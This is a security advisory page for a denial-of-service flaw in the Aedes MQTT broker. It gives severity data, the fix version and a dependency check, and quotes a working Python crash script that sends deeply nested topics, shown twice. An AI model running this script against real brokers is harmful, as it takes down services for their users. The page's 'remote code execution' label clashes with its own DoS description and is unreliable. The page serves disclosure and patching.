CVE-2026-63341: Aedes Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-xxqp-5qx8-gj5q
CVSS 7.5
CWE-400 CWE-248
Published
Advisory Summary

CVE-2026-63341 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Aedes libraries in the npm ecosystem. The issue involves aedes has uncaught exception and uncontrolled resource consumption. Remediation is available by upgrading affected packages to version 1.1.1.

CVE-2026-63341 at a Glance

CVE Identifier CVE-2026-63341
GHSA Identifier GHSA-xxqp-5qx8-gj5q
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Aedes
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-63341

To remediate this vulnerability, upgrade all affected Aedes dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

aedes fixed: 1.1.1
npm install aedes@1.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls aedes

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63341, inspect your project dependencies using npm:

npm ls aedes

Analyze the terminal output to locate any version of Aedes in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.1), your application is affected.

Note: The npm ls aedes command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Aedes, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application. ### Details The Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function. This function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately. This vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation. Stack Trace from Crash: ```Plaintext aedes-broker | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604 aedes-broker | throw new Error('too many words'); aedes-broker | ^ aedes-broker | aedes-broker | Error: too many words aedes-broker | at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15) aedes-broker | at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18) aedes-broker | at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43) aedes-broker | at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17) aedes-broker | at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11) aedes-broker | at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12) ``` The same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler. ### PoC **Prerequisites** + Aedes MQTT Broker running and accessible over the network. For testing and replication, the broker was deployed using the official Docker image via the following command: ```bash docker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest ``` + Ability to establish an MQTT session (authenticated or unauthenticated, as per the broker's configuration). **Reproduction Steps** 1. Save the following Python stress testing script (mqtt_crash_poc.py): ```Python #!/usr/bin/env python3 import argparse import time import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, reason_code, properties=None): if reason_code != 0: print(f"[-] Error en la conexión: {reason_code}") def on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None): if reason_code != 0: print(f"[*] -> Desconexión detectada (Caída del bróker). Razón: {reason_code}") def run_exploit(host, port): # Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3) payloads = [ {"type": "PUB_DEEP", "topic": "a/" * 30000 + "target"}, {"type": "PUB_LIMIT", "topic": "a/" * 32766 + "a/b"}, {"type": "SUB_WILD", "topic": "+/" * 150 + "#", "pub": "A/" * 150 + "target"}, {"type": "SUB_DEEP", "topic": "+/" * 10000 + "#", "pub": "A/" * 10000 + "target"} ] for case in payloads: print(f"\n[*] Lanzando vector de ataque tipo: {case['type']}") client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2) client.on_connect = on_connect client.on_disconnect = on_disconnect try: client.connect(host, port, keepalive=60) client.loop_start() time.sleep(1) if "PUB" in case['type']: client.publish(case['topic'], payload="DoS_Attack", qos=0) else: client.subscribe(case['topic'], qos=0) time.sleep(1) client.publish(case['pub'], payload="DoS_Attack", qos=0) time.sleep(2) except Exception as e: print(f"[-] Error durante el envío: {e}") finally: client.loop_stop() client.disconnect() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-d", "--direccion", required=True, help="IP del broker") parser.add_argument("-p", "--puerto", type=int, default=1883, help="Puerto") args = parser.parse_args() run_exploit(args.direccion, args.puerto) ``` 2. Run the script against the target broker:python3 mqtt_crash_poc.py -d <BROKER_IP> -p 1883 3. Upon execution, the Aedes broker dies instantly on the very first packet (PUB_DEEP). Checking the container logs will reveal the stack trace provided in the Details section, confirming the Error: too many words exception. ### Impact This is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.

CVE-2026-63341 Affected Aedes Versions

1 component(s)
Fixed Versions:
1.1.1
Product / Package Ecosystem Affected Versions Fixed Version
aedes
npm
< 1.1.1
1.1.1

References

Frequently Asked Questions

What is CVE-2026-63341?
CVE-2026-63341 is a security vulnerability in Aedes involving Aedes has Uncaught Exception and Uncontrolled Resource Consumption under CWE-400: Uncontrolled Resource Consumption.
Which Aedes versions are affected?
Affected versions include releases prior to 1.1.1 across affected packages: aedes.
What version fixes CVE-2026-63341?
Upgrading to 1.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is aedes affected?
Yes, aedes is affected in releases prior to 1.1.1. Upgrade your dependency to 1.1.1 or later.
What is the CVSS score of CVE-2026-63341?
CVE-2026-63341 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-63341?
CVE-2026-63341 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-63341?
Run the dependency tree command: 'npm ls aedes'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xxqp-5qx8-gj5q",
  "modified" : "2026-11-20T23:32:35Z",
  "published" : "2026-11-20T23:32:35Z",
  "aliases" : [ "CVE-2026-63341" ],
  "summary" : "Aedes has Uncaught Exception and Uncontrolled Resource Consumption",
  "details" : "### Summary\nA remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application.\n\n### Details\nThe Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function.\n\nThis function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately.\n\nThis vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation.\n\nStack Trace from Crash:\n```Plaintext\naedes-broker  | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604\naedes-broker  | \tthrow new Error('too many words');\naedes-broker  | \t^\naedes-broker  | \naedes-broker  | Error: too many words\naedes-broker  |     at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15)\naedes-broker  |     at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18)\naedes-broker  |     at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43)\naedes-broker  |     at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17)\naedes-broker  |     at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11)\naedes-broker  |     at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12)\n```\nThe same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler.\n\n### PoC\n**Prerequisites**\n+ Aedes MQTT Broker running and accessible over the network. For testing and replication, the broker was deployed using the official Docker image via the following command:\n```bash\ndocker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest\n```\n+ Ability to establish an MQTT session (authenticated or unauthenticated, as per the broker's configuration).\n\n**Reproduction Steps**\n\n1. Save the following Python stress testing script (mqtt_crash_poc.py):\n```Python\n#!/usr/bin/env python3\nimport argparse\nimport time\nimport paho.mqtt.client as mqtt\n\ndef on_connect(client, userdata, flags, reason_code, properties=None):\n    if reason_code != 0:\n        print(f\"[-] Error en la conexión: {reason_code}\")\n\ndef on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None):\n    if reason_code != 0:\n        print(f\"[*] -> Desconexión detectada (Caída del bróker). Razón: {reason_code}\")\n\ndef run_exploit(host, port):\n    # Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3)\n    payloads = [\n            {\"type\": \"PUB_DEEP\", \"topic\": \"a/\" * 30000 + \"target\"},\n            {\"type\": \"PUB_LIMIT\", \"topic\": \"a/\" * 32766 + \"a/b\"},\n            {\"type\": \"SUB_WILD\", \"topic\": \"+/\" * 150 + \"#\", \"pub\": \"A/\" * 150 + \"target\"},\n            {\"type\": \"SUB_DEEP\", \"topic\": \"+/\" * 10000 + \"#\", \"pub\": \"A/\" * 10000 + \"target\"}\n    ]\n        \n    for case in payloads:\n        print(f\"\\n[*] Lanzando vector de ataque tipo: {case['type']}\")\n        client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2)\n        client.on_connect = on_connect\n        client.on_disconnect = on_disconnect\n            \n        try:\n            client.connect(host, port, keepalive=60)\n            client.loop_start()\n            time.sleep(1)\n                \n            if \"PUB\" in case['type']:\n                client.publish(case['topic'], payload=\"DoS_Attack\", qos=0)\n            else:\n                client.subscribe(case['topic'], qos=0)\n                time.sleep(1)\n                client.publish(case['pub'], payload=\"DoS_Attack\", qos=0)\n                    \n            time.sleep(2)\n        except Exception as e:\n            print(f\"[-] Error durante el envío: {e}\")\n        finally:\n            client.loop_stop()\n            client.disconnect()\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-d\", \"--direccion\", required=True, help=\"IP del broker\")\n    parser.add_argument(\"-p\", \"--puerto\", type=int, default=1883, help=\"Puerto\")\n    args = parser.parse_args()\n    run_exploit(args.direccion, args.puerto)\n```\n\n2. Run the script against the target broker:python3 mqtt_crash_poc.py -d <BROKER_IP> -p 1883\n3. Upon execution, the Aedes broker dies instantly on the very first packet (PUB_DEEP). Checking the container logs will reveal the stack trace provided in the Details section, confirming the Error: too many words exception.\n\n### Impact\nThis is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "aedes"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/moscajs/aedes/security/advisories/GHSA-xxqp-5qx8-gj5q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63341"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/moscajs/aedes/commit/b9024faa4cb416c4c6980760b4d7f55336315f2d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/moscajs/aedes"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/moscajs/aedes/releases/tag/v1.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248", "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T23:32:35Z",
    "nvd_published_at" : "2026-10-30T23:17:13Z"
  }
}